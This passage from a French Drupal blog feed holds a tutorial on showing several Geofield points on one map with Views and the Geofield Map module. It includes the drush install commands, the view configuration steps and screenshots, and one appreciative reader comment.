class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/taxonomy/term/1" hreflang="fr">Drupal</a></div> <div class="field__item"><a href="/tags/drush" hreflang="fr">drush</a></div> <div class="field__item"><a href="/tags/traduction" hreflang="fr">traduction</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> Wed, 27 Jul 2016 13:57:50 +0000 vincentl 160 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/importer-et-tenir-%C3%A0-jour-les-traductions-drupal-avec-drush#comments Cartographie Drupal : Views + Geofield Map https://www.vincentliefooghe.net/content/cartographie-drupal-views-geofield-map <span class="field field--name-title field--type-string field--label-hidden">Cartographie Drupal : Views + Geofield Map</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Dans les articles précédents (<a href="https://www.vincentliefooghe.net/node/153">stockage des données</a> notamment) , nous avons vu comment ajouter un champ de type <em>Geofield</em> et l'afficher sous forme de carte.</p> <p>Nous allons voir ici comment afficher plusieurs points sur une seule carte. Pour cela, nous devons juste installer Views, et activer les modules Views, Views UI et Geofield Map.</p> <pre>drush dl views drush en views views_ui geofield_map</pre><h2>Création de la vue</h2> <p>Il faut ensuite créer une vue. Pour cela, on va dans Structure /  Vues, puis on va ajouter une vue (admin/structure/views/add). Nous allons nous baser sur le type de contenu créé auparavant,  qui contient un champ Geofield. On donne un nom à la vue, puis on sélectionne le type de contenu (Magasin). On peut créer un block, sur la base d'une liste de champs (Unformatted list of fields).</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_085.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_085.png&quot;}" role="button" title="Drupal-geoMapping_085.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_085.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_085.png?itok=YCEHlZB-" width="480" height="322" alt="Drupal-geoMapping_085.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Si on veut on peut également créer une page, tout dépend de ce que l'on veut faire.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_086.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_086.png&quot;}" role="button" title="Drupal-geoMapping_086.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_086.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_086.png?itok=B8Gzm8XT" width="480" height="241" alt="Drupal-geoMapping_086.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On clique ensuite sur Continue &amp; Edit pour continuer la création de la vue.</p> <h2>Choix des champs</h2> <p>Par défaut, seul le titre est affiché :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_088.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_088.png&quot;}" role="button" title="Drupal-geoMapping_088.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_088.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_088.png?itok=kBSVgYgt" width="423" height="338" alt="Drupal-geoMapping_088.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Il faut alors cliquer sur "Add", puis choisir le champ Coordonnées qui est de type <em>Geofield</em>.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_089.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_089.png&quot;}" role="button" title="Drupal-geoMapping_089.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_089.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_089.png?itok=5vM8UZDC" width="480" height="139" alt="Drupal-geoMapping_089.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p> </p> <p>On supprime l'affichage du libellé, et on laisse les valeurs par défaut (y compris le formatter en Well Known Text). En effet c'est dans le type de formatage global que l'on choisira Google Map.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_090.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_090.png&quot;}" role="button" title="Drupal-geoMapping_090.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_090.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_090.png?itok=f9orS7TD" width="480" height="433" alt="Drupal-geoMapping_090.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On valide tout cela. Dans les chjamps, on doit donc avoir Title et Coordonnées.</p> <h2>Choix du format d'affichage</h2> <p>A ce stade, on a uniquement le titre et les coordonnées. Rien de très sympathique. Il faut alors changer le format de la vue :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_091.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_091.png&quot;}" role="button" title="Drupal-geoMapping_091.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_091.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_091.png?itok=aaxhzRbo" width="480" height="356" alt="Drupal-geoMapping_091.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>A ce niveau, on peut choisir "<strong>Geofield Map</strong>" :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_092.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_092.png&quot;}" role="button" title="Drupal-geoMapping_092.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_092.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_092.png?itok=AO-twfL6" width="480" height="288" alt="Drupal-geoMapping_092.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On valide en cliquant sur "Apply". On peut alors choisir quel champ sert de source. On va choisir le champ field_coordonnees que l'on vient d'ajouter à notre vue :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_093.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_093.png&quot;}" role="button" title="Drupal-geoMapping_093.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_093.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_093.png?itok=hcUX_i5V" width="480" height="333" alt="Drupal-geoMapping_093.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On peut laisser les valeurs par défaut dans un premier temps. Si on se rend à l'url de la vue, on a un premier résultat :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_094.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_094.png&quot;}" role="button" title="Drupal-geoMapping_094.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_094.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_094.png?itok=4fE6acpH" width="480" height="232" alt="Drupal-geoMapping_094.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Si on clique sur l'un des marqueurs, le titre apparaît.</p> <h2>Amélioration de l'affichage</h2> <p>En modifiant la vue on peut facilement :</p> <ul><li>Ajouter des informations dans la Pop-Up</li> <li>Permettre le scroll dans la carte (ScrollWheel)</li> <li>Mettre un niveau de zoom par défaut (Zoom / Zoom minimum et maximum)</li> </ul><p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Drupal-geoMapping_096.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Drupal-geoMapping_096.png&quot;}" role="button" title="Drupal-geoMapping_096.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Drupal-geoMapping_096.png&quot;}"><img src="/sites/default/files/styles/large/public/Drupal-geoMapping_096.png?itok=5YG0hAI2" width="480" height="329" alt="Drupal-geoMapping_096.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Dans l'exemple, la hauteur de la carte a été modifiée à 450 pixels, et on a mis la description plutôt que le titre dans la pop-up.</p> <p>C'est globalement la limite du couple Views + Geofield Map, qui offre un premier niveau de formatage, sans beaucoup de souplesse.</p> <p>On peut aller plus loin, avec d'autres modules. Ceci fera l'objet d'un autre article.</p> <p> </p> <p> </p> <p> </p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span class="field field--name-created field--type-created field--label-hidden">mer 06/04/2016 - 22:08</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/taxonomy/term/1" hreflang="fr">Drupal</a></div> <div class="field__item"><a href="/tags/cartographie" hreflang="fr">cartographie</a></div> </div> </div> <section class="field field--name-comment-node-book field--type-comment field--label-hidden comment-wrapper"> <article data-comment-user-id="0" id="comment-37" class="comment js-comment by-anonymous"> <mark class="hidden" data-comment-timestamp="1469172660"></mark> <footer class="comment__meta"> <p class="comment__submitted">Soumis par <span lang="" typeof="schema:Person" property="schema:name" datatype="">Qazema</span> le ven 22/07/2016 - 09:31</p> <a href="/comment/37#comment-37" hreflang="und">Permalien</a> </footer> <div class="content"> <h3><a href="/comment/37#comment-37" class="permalink" rel="bookmark" hreflang="und">Sympa ce tuto.J&#039;ai eu l</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item">Sympa ce tuto.J'ai eu l'occasion de réaliser ce genre de views auparavant, notamment avec Leaflet (qui n'est pas mal du tout aussi). Il est possible de pousser le schmilblick assez loin, en ajoutant des filtres de vue, des modales qui s'ouvrent au click en AJAX, etc. C'est assez pratique. J'aurais aimé tomber sur ce tuto avant d'avoir à créer ces fameuses interfaces de cartes, ça aurait été plus rapide :)À noter qu'avec ce genre de vues, un trop grand nombre de nodes à afficher peut causer des soucis de perfs.Salut et bonne continuation.</div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=37&amp;1=default&amp;2=und&amp;3=" token="lR-WekmowQGEFeNNV8QwfZx3Hke08bhfGSSSnDNb6z4"></drupal-render-placeholder> </div> </article> </section> Wed, 06 Apr 2016 20:08:56 +0000 vincentl 156 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/cartographie-drupal-views-geofield-map#comments